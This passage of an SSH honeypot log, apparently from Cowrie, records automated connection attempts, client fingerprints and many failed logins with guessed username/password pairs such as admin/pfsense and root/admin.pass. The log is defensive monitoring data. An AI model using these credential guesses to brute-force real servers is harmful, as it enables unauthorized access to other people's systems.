-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:14.054744Z","src_ip":"2.203.183.35","session":"a2a05af07634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.pass","message":"login attempt [root/admin.pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:14.534012Z","src_ip":"2.203.183.35","session":"a2a05af07634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:15.646654Z","src_ip":"2.203.183.35","session":"a2a05af07634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50762,"dst_ip":"159.203.135.109","dst_port":22,"session":"5183db2b9e35","protocol":"ssh","message":"New connection: 159.203.92.129:50762 (159.203.135.109:22) [session: 5183db2b9e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:21.236653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:21.240608Z","src_ip":"159.203.92.129","session":"5183db2b9e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:21.245062Z","src_ip":"159.203.92.129","session":"5183db2b9e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"111","message":"login attempt [app/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:21.258685Z","src_ip":"159.203.92.129","session":"5183db2b9e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:22.272550Z","src_ip":"159.203.92.129","session":"5183db2b9e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:34.532665Z","src_ip":"122.168.114.167","session":"3e65b004fda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"291b656b968d","protocol":"ssh","message":"New connection: 210.79.142.221:36326 (10.17.0.5:22) [session: 291b656b968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:40.785252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:40.789812Z","src_ip":"210.79.142.221","session":"291b656b968d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:41.033973Z","src_ip":"210.79.142.221","session":"291b656b968d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwe123","message":"login attempt [dev/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:42.042773Z","src_ip":"210.79.142.221","session":"291b656b968d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.1","message":"Connection lost after 42.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:42.132211Z","src_ip":"122.168.114.167","session":"3e65b004fda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:43.288256Z","src_ip":"210.79.142.221","session":"291b656b968d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51990,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5991ca14a4d","protocol":"ssh","message":"New connection: 122.168.114.167:51990 (159.203.135.109:22) [session: e5991ca14a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:44.319630Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":38478,"dst_ip":"159.203.135.109","dst_port":22,"session":"db1db98e1709","protocol":"ssh","message":"New connection: 148.216.28.11:38478 (159.203.135.109:22) [session: db1db98e1709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:45.486423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:45.491711Z","src_ip":"148.216.28.11","session":"db1db98e1709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:45.559891Z","src_ip":"148.216.28.11","session":"db1db98e1709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfsense","message":"login attempt [admin/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:45.861339Z","src_ip":"148.216.28.11","session":"db1db98e1709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:46.944947Z","src_ip":"148.216.28.11","session":"db1db98e1709","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:49.478209Z","src_ip":"122.168.114.167","session":"e5991ca14a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:49.481725Z","src_ip":"122.168.114.167","session":"e5991ca14a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f02eaea8498","protocol":"ssh","message":"New connection: 159.203.92.129:39410 (159.203.135.109:22) [session: 1f02eaea8498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:04.038806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:04.044250Z","src_ip":"159.203.92.129","session":"1f02eaea8498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:04.048627Z","src_ip":"159.203.92.129","session":"1f02eaea8498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1111","message":"login attempt [app/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:04.061204Z","src_ip":"159.203.92.129","session":"1f02eaea8498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:05.067440Z","src_ip":"159.203.92.129","session":"1f02eaea8498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":54426,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa013b2a6d7","protocol":"ssh","message":"New connection: 2.203.183.35:54426 (159.203.135.109:22) [session: 2aa013b2a6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:09.563564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:09.570299Z","src_ip":"2.203.183.35","session":"2aa013b2a6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:09.708511Z","src_ip":"2.203.183.35","session":"2aa013b2a6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:10.054766Z","src_ip":"122.168.114.167","session":"e5991ca14a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"line","message":"login attempt [test/line] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:10.254898Z","src_ip":"2.203.183.35","session":"2aa013b2a6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:11.389503Z","src_ip":"2.203.183.35","session":"2aa013b2a6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"307b416e47f6","protocol":"ssh","message":"New connection: 2.57.122.238:58230 (10.17.0.5:22) [session: 307b416e47f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:13.385701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:13.389857Z","src_ip":"2.57.122.238","session":"307b416e47f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:13.494641Z","src_ip":"2.57.122.238","session":"307b416e47f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:13.809684Z","src_ip":"2.57.122.238","session":"307b416e47f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.4","message":"Connection lost after 30.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:14.675452Z","src_ip":"122.168.114.167","session":"e5991ca14a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:14.917895Z","src_ip":"2.57.122.238","session":"307b416e47f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54404,"dst_ip":"159.203.135.109","dst_port":22,"session":"7891378b5ac6","protocol":"ssh","message":"New connection: 122.168.114.167:54404 (159.203.135.109:22) [session: 7891378b5ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:25.562756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:29.061976Z","src_ip":"122.168.114.167","session":"7891378b5ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com",